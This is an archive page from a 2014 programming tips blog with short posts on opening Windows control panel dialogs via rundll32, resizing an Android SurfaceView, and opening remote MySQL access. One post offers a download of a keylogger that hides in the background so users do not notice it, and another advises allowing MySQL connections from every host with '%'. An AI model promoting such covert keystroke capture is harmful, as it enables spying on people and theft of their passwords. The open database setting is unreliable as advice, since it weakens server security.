For smart Primates & ROBOTS (oh and ALIENS ).

Blogroll

Tuesday, December 30, 2014

System properties dialog box


Problem:

Sometime you are developing a software in the winform environment and yo need to to
open different system properties dialog box from your software. then How to open windows System Properties Dialog box?

System properties dialog box
















Solution:

To open system properties dialog box you will run "shell32.dll" from "rundll32.exe".

Example:

To open System Properties dialog box:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1", 6)
To open Sound and Audio Devices Properties:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1", 6)
To open Date and Time Properties:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl", 6)
To open Internet Properties:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0", 6)
To open Keyboard Properties:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @1", 6)
To open Mouse Properties:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @0", 6)
To open Regional and Language Options:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0", 6)
To open Add or Remove Programs:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1", 6)
To open Display Properties:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0", 6)
To open Game Controllers:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL joy.cpl", 6)
To open Phone and Modem Options:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL modem.cpl", 6)
Share:

Sunday, December 28, 2014

key logger

Problem:

Some time you want to tack the person keyboard that what keys are stroking on that keyboard?




Solution:

I have developed a application, so by this application you can achieve your target.
You can track user keyboard keys by this Key Logger Application. This will store all the key stroke of your keyboard and save in the text file, So you can see all the activities of user; what user is typing.
key logger









How to download it?

Download it from here.
http://agalaxycode.blogspot.in/2015/01/keylogger.html

How to run this application?

It is simple , just double click on it and it will open and hide. it will run in background process. so no one see it.

Requirement of system:

To run this application you need to install Microsoft dot.net framework 3.5
Share:

Thursday, December 25, 2014

change SurfaceView height width

Problem:

change SurfaceView height width in android.
You are using SurfaceView to open camera in Android. and want to set it's custom height and width. So How can you change SurfaceView height width?

Solution:

To change SurfaceView's custom height and width use "android.view.ViewGroup.LayoutParams"
There are subclasses of LayoutParams for different subclasses of ViewGroup. For example, AbsoluteLayout has its own subclass of LayoutParams which adds an X and Y value.  By this you can change X and Y of SurfaceView 

Example:

Use below  code:
android.view.ViewGroup.LayoutParams avvglp = surfaceView.getLayoutParams();
avvglp.height=300;
avvglp .width=300;
surfaceView.setLayoutParams(avvglp);

To See more here:
http://developer.android.com/reference/android/view/ViewGroup.LayoutParams.html
Share:

Thursday, December 18, 2014

Set all remote host to mysql database

Problem:

How to set all remote hosts to MySQL?

While you  are working with remote production MySQL database, you need each time to open phpMyAdmin. It is time taking and working with it execute sql queries very slow. So you need a tool that connect with your remote production MySQL database. for security reason hosting company not enable connect all remote IP to MySQL database server. you need to set it by one remote IP or all IP. For one remote IP simple put the IP address in the field indicated in below image on the other hand if you need to access remote MySQL database from all IP the put % sign in that field. See below how to it.

Solution:

1) Open your control panel
2) Click on "Remote MySQL" link.
3) Put "%" in Host text box and click on "Add Host". see below image



















Now you can connect your remote mysql database from any host.
Share:

How to make center align child div

 How to make center align child div?   Suppose you have 2 Div tag. And want the make inner tag center <div id="d1">      ...

Ads Inside Post

Powered by Blogger.

Arsip